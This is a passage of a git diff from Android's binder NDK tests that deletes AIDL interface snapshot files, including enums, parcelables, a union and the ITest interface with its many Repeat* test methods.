- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-@Backing(type="long")
-enum LongEnum {
-  FOO = 100000000000,
-  BAR = 200000000000,
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/MyExt.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/MyExt.aidl
deleted file mode 100644
index c054eeb..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/MyExt.aidl
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable MyExt {
-  int a;
-  @utf8InCpp String b;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/RegularPolygon.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/RegularPolygon.aidl
deleted file mode 100644
index 3eab12e..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/RegularPolygon.aidl
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable RegularPolygon {
-  String name = "square";
-  int numSides = 4;
-  float sideLength = 1.000000f;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/SimpleUnion.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/SimpleUnion.aidl
deleted file mode 100644
index 767b5ae..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/SimpleUnion.aidl
+++ /dev/null
@@ -1,35 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-union SimpleUnion {
-  int a = 42;
-  int[] b;
-  String c;
-  test_package.ByteEnum d;
-  test_package.ByteEnum[] e;
-  @nullable test_package.Bar f;
-  const int kZero = 0;
-  const int kOne = 1;
-  const int kOnes = -1;
-  const byte kByteOne = 1;
-  const long kLongOnes = -1;
-  const String kEmpty = "";
-  const String kFoo = "foo";
-  const String S1 = "a string constant";
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/Bar.aidl
deleted file mode 100644
index 2aaf974..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/Bar.aidl
+++ /dev/null
@@ -1,26 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable Bar {
-  String a = "BAR";
-  String b = "BAR2";
-  float c = 4.200000f;
-  int d = 100;
-  String e = "HELLO";
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ByteEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ByteEnum.aidl
deleted file mode 100644
index 944573e..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ByteEnum.aidl
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-@Backing(type="byte")
-enum ByteEnum {
-  FOO = 1,
-  BAR = 2,
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ExtendableParcelable.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ExtendableParcelable.aidl
deleted file mode 100644
index dbbb82c..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ExtendableParcelable.aidl
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable ExtendableParcelable {
-  int a;
-  @nullable @utf8InCpp String b;
-  ParcelableHolder ext;
-  long c;
-  ParcelableHolder ext2;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/FixedSize.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/FixedSize.aidl
deleted file mode 100644
index f4908e2..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/FixedSize.aidl
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-@FixedSize
-parcelable FixedSize {
-  int a;
-  test_package.LongEnum b;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/Foo.aidl
deleted file mode 100644
index 5e260ff..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/Foo.aidl
+++ /dev/null
@@ -1,47 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable Foo {
-  String a = "FOO";
-  int b = 42;
-  float c = 3.140000f;
-  test_package.Bar d;
-  test_package.Bar e;
-  int f = 3;
-  test_package.ByteEnum shouldBeByteBar;
-  test_package.IntEnum shouldBeIntBar;
-  test_package.LongEnum shouldBeLongBar;
-  test_package.ByteEnum[] shouldContainTwoByteFoos;
-  test_package.IntEnum[] shouldContainTwoIntFoos;
-  test_package.LongEnum[] shouldContainTwoLongFoos;
-  @nullable String[] g;
-  @nullable test_package.SimpleUnion u;
-  int shouldSetBit0AndBit2;
-  @nullable test_package.SimpleUnion shouldBeConstS1;
-  const int kZero = 0;
-  const int kOne = 1;
-  const int kOnes = -1;
-  const byte kByteOne = 1;
-  const long kLongOnes = -1;
-  const String kEmpty = "";
-  const String kFoo = "foo";
-  const int BIT0 = 1;
-  const int BIT1 = 2;
-  const int BIT2 = 4;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/GenericBar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/GenericBar.aidl
deleted file mode 100644
index 7cab936..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/GenericBar.aidl
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable GenericBar<T> {
-  int a;
-  test_package.GenericFoo<int,test_package.Bar,test_package.IntEnum> shouldBeGenericFoo;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/GenericFoo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/GenericFoo.aidl
deleted file mode 100644
index 8929c65..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/GenericFoo.aidl
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable GenericFoo<T, U, V> {
-  int a;
-  int b;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/IEmpty.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/IEmpty.aidl
deleted file mode 100644
index 1717e58..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/IEmpty.aidl
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-interface IEmpty {
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ITest.aidl
deleted file mode 100644
index 020c24f..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ITest.aidl
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-interface ITest {
-  String GetName();
-  void TestVoidReturn();
-  oneway void TestOneway();
-  int GiveMeMyCallingPid();
-  int GiveMeMyCallingUid();
-  oneway void CacheCallingInfoFromOneway();
-  int GiveMeMyCallingPidFromOneway();
-  int GiveMeMyCallingUidFromOneway();
-  int RepeatInt(int value);
-  long RepeatLong(long value);
-  float RepeatFloat(float value);
-  double RepeatDouble(double value);
-  boolean RepeatBoolean(boolean value);
-  char RepeatChar(char value);
-  byte RepeatByte(byte value);
-  test_package.ByteEnum RepeatByteEnum(test_package.ByteEnum value);
-  test_package.IntEnum RepeatIntEnum(test_package.IntEnum value);
-  test_package.LongEnum RepeatLongEnum(test_package.LongEnum value);
-  IBinder RepeatBinder(IBinder value);
-  @nullable IBinder RepeatNullableBinder(@nullable IBinder value);
-  test_package.IEmpty RepeatInterface(test_package.IEmpty value);
-  @nullable test_package.IEmpty RepeatNullableInterface(@nullable test_package.IEmpty value);
-  ParcelFileDescriptor RepeatFd(in ParcelFileDescriptor fd);
-  @nullable ParcelFileDescriptor RepeatNullableFd(in @nullable ParcelFileDescriptor fd);
-  String RepeatString(String value);
-  @nullable String RepeatNullableString(@nullable String value);
-  test_package.RegularPolygon RepeatPolygon(in test_package.RegularPolygon value);
-  @nullable test_package.RegularPolygon RepeatNullablePolygon(in @nullable test_package.RegularPolygon value);
-  void RenamePolygon(inout test_package.RegularPolygon value, String newName);
-  boolean[] RepeatBooleanArray(in boolean[] input, out boolean[] repeated);
-  byte[] RepeatByteArray(in byte[] input, out byte[] repeated);
-  char[] RepeatCharArray(in char[] input, out char[] repeated);
-  int[] RepeatIntArray(in int[] input, out int[] repeated);
-  long[] RepeatLongArray(in long[] input, out long[] repeated);
-  float[] RepeatFloatArray(in float[] input, out float[] repeated);
-  double[] RepeatDoubleArray(in double[] input, out double[] repeated);
-  test_package.ByteEnum[] RepeatByteEnumArray(in test_package.ByteEnum[] input, out test_package.ByteEnum[] repeated);
-  test_package.IntEnum[] RepeatIntEnumArray(in test_package.IntEnum[] input, out test_package.IntEnum[] repeated);
-  test_package.LongEnum[] RepeatLongEnumArray(in test_package.LongEnum[] input, out test_package.LongEnum[] repeated);
-  String[] RepeatStringArray(in String[] input, out String[] repeated);
-  test_package.RegularPolygon[] RepeatRegularPolygonArray(in test_package.RegularPolygon[] input, out test_package.RegularPolygon[] repeated);
-  ParcelFileDescriptor[] RepeatFdArray(in ParcelFileDescriptor[] input, out ParcelFileDescriptor[] repeated);
-  List<String> Repeat2StringList(in List<String> input, out List<String> repeated);
-  List<test_package.RegularPolygon> Repeat2RegularPolygonList(in List<test_package.RegularPolygon> input, out List<test_package.RegularPolygon> repeated);
-  @nullable boolean[] RepeatNullableBooleanArray(in @nullable boolean[] input);
-  @nullable byte[] RepeatNullableByteArray(in @nullable byte[] input);
-  @nullable char[] RepeatNullableCharArray(in @nullable char[] input);
-  @nullable int[] RepeatNullableIntArray(in @nullable int[] input);
-  @nullable long[] RepeatNullableLongArray(in @nullable long[] input);
-  @nullable float[] RepeatNullableFloatArray(in @nullable float[] input);
-  @nullable double[] RepeatNullableDoubleArray(in @nullable double[] input);
-  @nullable test_package.ByteEnum[] RepeatNullableByteEnumArray(in @nullable test_package.ByteEnum[] input);
-  @nullable test_package.IntEnum[] RepeatNullableIntEnumArray(in @nullable test_package.IntEnum[] input);
-  @nullable test_package.LongEnum[] RepeatNullableLongEnumArray(in @nullable test_package.LongEnum[] input);
-  @nullable String[] RepeatNullableStringArray(in @nullable String[] input);
-  @nullable String[] DoubleRepeatNullableStringArray(in @nullable String[] input, out @nullable String[] repeated);
-  test_package.Foo repeatFoo(in test_package.Foo inFoo);
-  void renameFoo(inout test_package.Foo foo, String name);
-  void renameBar(inout test_package.Foo foo, String name);
-  int getF(in test_package.Foo foo);
-  test_package.GenericBar<int> repeatGenericBar(in test_package.GenericBar<int> bar);
-  void RepeatExtendableParcelable(in test_package.ExtendableParcelable input, out test_package.ExtendableParcelable output);
-  test_package.SimpleUnion RepeatSimpleUnion(in test_package.SimpleUnion u);
-  IBinder getICompatTest();
-  void RepeatExtendableParcelableWithoutExtension(in test_package.ExtendableParcelable input, out test_package.ExtendableParcelable output);
-  const int kZero = 0;
-  const int kOne = 1;
-  const int kOnes = -1;
-  const byte kByteOne = 1;
-  const long kLongOnes = -1;
-  const String kEmpty = "";
-  const String kFoo = "foo";
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/IntEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/IntEnum.aidl
deleted file mode 100644
index 92ce575..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/IntEnum.aidl
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-@Backing(type="int")
-enum IntEnum {
-  FOO = 1000,
-  BAR = 2000,
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/LongEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/LongEnum.aidl
deleted file mode 100644
index 4156557..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/LongEnum.aidl
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
